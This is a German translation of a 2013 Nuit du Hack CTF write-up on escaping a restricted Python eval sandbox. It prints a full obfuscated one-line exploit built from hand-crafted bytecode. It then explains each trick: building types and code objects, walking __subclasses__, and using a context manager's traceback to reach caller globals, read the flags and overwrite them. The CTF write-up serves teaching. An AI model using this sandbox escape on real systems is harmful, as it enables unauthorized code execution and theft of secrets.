Sandbox Escape mit Python

In Erwartung des Kursbeginns „Python Developer. Professional “ erstellte eine Übersetzung, wenn auch nicht die neueste, aber aus diesem nicht weniger interessanten Artikel. Fröhliches Lesen!






Die Qualifikationsrunde zur Nuit du Hack CTF 2013 fand gestern statt. Wie üblich werde ich Ihnen in einigen Anmerkungen interessante Aufgaben und / oder Lösungen dieser CTF erläutern. Wenn Sie mehr wissen möchten, sollte mein w4kfu- Teamkollege in Kürze auch auf seinem Blog posten.



TL; DR:



auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())




Eine der Aufgaben, "Meow" genannt , bietet uns eine Remote-Limited-Shell mit Python, in der die meisten integrierten Module deaktiviert sind:



{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}


Es standen verschiedene Funktionen zur Verfügung, nämlich kitty()die Ausgabe des Katzenbildes in ASCII und auth(password). Ich nahm an, wir müssten die Authentifizierung umgehen und ein Passwort finden. Leider werden unsere Python-Befehle im evalAusdrucksmodus übergeben, was bedeutet, dass wir keinen Operator verwenden können: keinen Zuweisungsoperator, keinen Druck, keine Funktions- / Klassendefinitionen usw. Die Situation ist komplizierter geworden. Wir müssen Python-Magie verwenden (ich verspreche, dass es in diesem Beitrag viel davon geben wird).



Zuerst nahm ich an, dass ich authnur das Passwort mit einer konstanten Zeichenfolge vergleiche. In diesem Fall könnte ich ein benutzerdefiniertes Objekt verwenden, das so geändert __eq__wurde, dass es immer zurückgegeben wirdTrue... Sie können ein solches Objekt jedoch nicht einfach aufnehmen und erstellen. Wir können unsere eigenen Klassen nicht durch eine Klasse definieren Foo, da wir ein bereits vorhandenes Objekt (ohne Zuweisung) nicht ändern können. Hier beginnt die Python-Magie: Wir können ein Typobjekt direkt instanziieren, um ein Klassenobjekt zu erstellen, und dann dieses Klassenobjekt instanziieren. So geht's:



type('MyClass', (), {'__eq__': lambda self: True})


Der Typ kann hier jedoch nicht verwendet werden, er ist nicht in integrierten Modulen definiert. Wir können einen anderen Trick verwenden: Jedes Python-Objekt hat ein Attribut __class__, das uns den Typ des Objekts angibt. Zum Beispiel ‘’.__class__dies str. Aber was interessanter ist: str.__class__ist der Typ. So können wir ''.__class__.__class__einen neuen Typ erstellen.



Leider authvergleicht die Funktion unser Objekt nicht nur mit einer Zeichenfolge. Sie macht viele andere Operationen damit: Es teilt es in 14 Zeichen auf, nimmt die Länge durch len()und nennt es reducemit einem seltsamen Lambda. Ohne Code ist es schwierig herauszufinden, wie ein Objekt erstellt wird, das sich so verhält, wie es die Funktion wünscht, und ich mag es nicht zu raten. Mehr Magie nötig!



Fügen wir Codeobjekte hinzu. Tatsächlich sind Funktionen in Python auch Objekte, die aus einem Codeobjekt und einer Erfassung ihrer globalen Variablen bestehen. Das Codeobjekt enthält den Bytecode dieser Funktion und die konstanten Objekte, auf die es verweist, einige Zeichenfolgen, Namen und andere Metadaten (Anzahl der Argumente, Anzahl der lokalen Objekte, Stapelgröße, Zuordnung des Bytecodes zur Zeilennummer). Sie können das Funktionscode-Objekt mit abrufen myfunc.func_code. Dies restrictedist im Python-Interpreter- Modus verboten, daher können wir den Funktionscode nicht sehen auth. Wir können jedoch unsere eigenen Funktionen erstellen, genauso wie wir unsere eigenen Typen erstellt haben!



Sie könnten sich fragen, warum Sie Codeobjekte verwenden, um Funktionen zu erstellen, wenn wir bereits ein Lambda haben. Es ist ganz einfach: Lambdas dürfen keine Operatoren enthalten. Und zufällig generierte Funktionen können! Zum Beispiel können wir eine Funktion erstellen, die ihr Argument ausgibt an stdout:



ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,),
                (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42


Hier gibt es jedoch ein kleines Problem: Um den Typ des Codeobjekts zu erhalten, müssen Sie auf das Attribut zugreifen func_code, das begrenzt ist. Glücklicherweise können wir etwas mehr Python-Magie verwenden, um unseren Typ zu finden, ohne auf verbotene Attribute zuzugreifen.



In Python verfügt ein Objekt eines Typs über ein Attribut __bases__, das eine Liste aller Basisklassen zurückgibt. Es gibt auch eine Methode __subclasses__, die eine Liste aller von ihr geerbten Typen zurückgibt. Wenn wir __bases__einen zufälligen Typ verwenden, können wir den Anfang der Objekttyphierarchie erreichen und dann die Unterklassen des Objekts lesen, um eine Liste aller im Interpreter definierten Typen zu erhalten:



>>> len(().__class__.__bases__[0].__subclasses__())
81


Wir können diese Liste dann verwenden, um unsere Typen zu finden functionund code:



>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
...  if x.__name__ == 'code'][0]
<type 'code'>


Was können wir tun, nachdem wir jede gewünschte Funktion erstellen können? Wir können direkt auf unbegrenzte Inline-Dateien zugreifen: Die von uns erstellten Funktionen werden weiterhin in der restrictedUmgebung ausgeführt. Wir können eine nicht isolierte Funktion erhalten: Die Funktion authruft eine Methode für das __len__Objekt auf, das wir als Parameter übergeben. Dies reicht jedoch nicht aus, um der Sandbox zu entkommen: Unsere globalen Variablen sind immer noch dieselben, und wir können beispielsweise kein Modul importieren. Ich habe versucht, mir alle Klassen anzusehen, mit denen wir zugreifen konnten__subclasses__um zu sehen, ob wir dadurch einen Link zu einem nützlichen Modul erhalten können, ohne Erfolg. Selbst ein Aufruf einer unserer erstellten Funktionen über den Reaktor reichte nicht aus. Wir könnten versuchen , ein Traceback - Objekt zu erhalten und es verwendet , um den Stack - Frames der Aufruf von Funktionen zu sehen, aber die einzigen einfache Möglichkeit , ein Zurückverfolgungs Objekt zu erhalten ist durch Module inspectoder sysdie wir nicht importieren. Nachdem ich über dieses Problem gestolpert war, wechselte ich zu anderen, schlief viel und wachte mit der richtigen Lösung auf!



Tatsächlich gibt es eine andere Möglichkeit, ein Traceback-Objekt in der Python-Standardbibliothek abzurufen, ohne Folgendes zu verwenden : context manager. Sie waren eine neue Funktion in Python 2.6, mit der Sie in Python eine Art objektorientiertes Scoping erhalten können:



class CtxMan:
    def __enter__(self):
        print 'Enter'
    def __exit__(self, exc_type, exc_val, exc_tb):
        print 'Exit:', exc_type, exc_val, exc_tb

with CtxMan():
    print 'Inside'
    error

# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
        <traceback object at 0x7f1a46ac66c8>


Wir können ein Objekt erstellen context manager, das das übergebene Traceback-Objekt verwendet __exit__, um die globalen Variablen für die aufrufende Funktion außerhalb der Sandbox anzuzeigen. Dafür verwenden wir Kombinationen aller unserer vorherigen Tricks. Wir erstellen einen anonymen Typ, der __enter__sowohl ein einfaches Lambda als auch __exit__ein Lambda definiert, das sich auf das bezieht, was in der Ablaufverfolgung gewünscht wird, und es an unser Ausgabe-Lambda weitergibt (denken Sie daran, dass wir keine Operatoren verwenden können):



''.__class__.__class__('haxx', (),
  {'__enter__': lambda self: None,
   '__exit__': lambda self, *a:
     (lambda l: l('function')(l('code')(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S',
                                        (None,), (), ('s',), 'stdin', 'f',
                                        1, ''), {})
     )(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
                    if x.__name__ == n][0])
     (a[2].tb_frame.f_back.f_back.f_globals)})()


Wir müssen tiefer graben! Jetzt müssen wir dieses context manager(das wir ctxin den folgenden Codefragmenten aufrufen werden ) in einer Funktion verwenden, die absichtlich einen Fehler in einem Block auslöst with:



def f(self):
    with ctx:
        raise 42


Dann setzen wir fals __len__unser erstelltes Objekt, das wir an die Funktion übergeben auth:



auth(''.__class__.__class__('haxx2', (), {
  '__getitem__': lambda *a: '',
  '__len__': f
})())


Kehren wir zum Anfang des Artikels zurück und erinnern uns an den "echten" eingebetteten Code. Wenn der Python-Interpreter auf dem Server ausgeführt wird, führt er unsere Funktion aus f. Gehen Sie die erstellte Funktion durch context manager __exit__, die auf die globalen Variablen unserer aufrufenden Methode zugreift, wobei zwei interessante Werte vorhanden sind:



'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'


Zwei Fahnen ?! Es stellt sich heraus, dass derselbe Dienst für zwei aufeinanderfolgende Aufgaben verwendet wurde. Doppeltötung!



Um mehr Spaß beim Zugriff auf globale Variablen zu haben, können wir mehr als nur lesen: Wir können Flags ändern! Die Verwendung der f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })Flags ändert sich bis zum nächsten Neustart des Servers. Anscheinend haben die Organisatoren dies nicht geplant.



Wie auch immer, ich weiß immer noch nicht, wie wir dieses Problem auf normale Weise lösen sollten, aber ich denke, dass eine solche universelle Lösung eine gute Möglichkeit ist, den Lesern die schwarze Magie von Python näher zu bringen. Verwenden Sie es vorsichtig, es ist einfach, Python zu zwingen, eine Segmentierung unter Verwendung der generierten Codeobjekte durchzuführen (die Verwendung des Python-Interpreters und das Ausführen des x86-Shellcodes durch den generierten Bytecode bleibt dem Leser überlassen). Vielen Dank an die Organisatoren von Nuit du Hack für eine schöne Aufgabe.







Weiterlesen






All Articles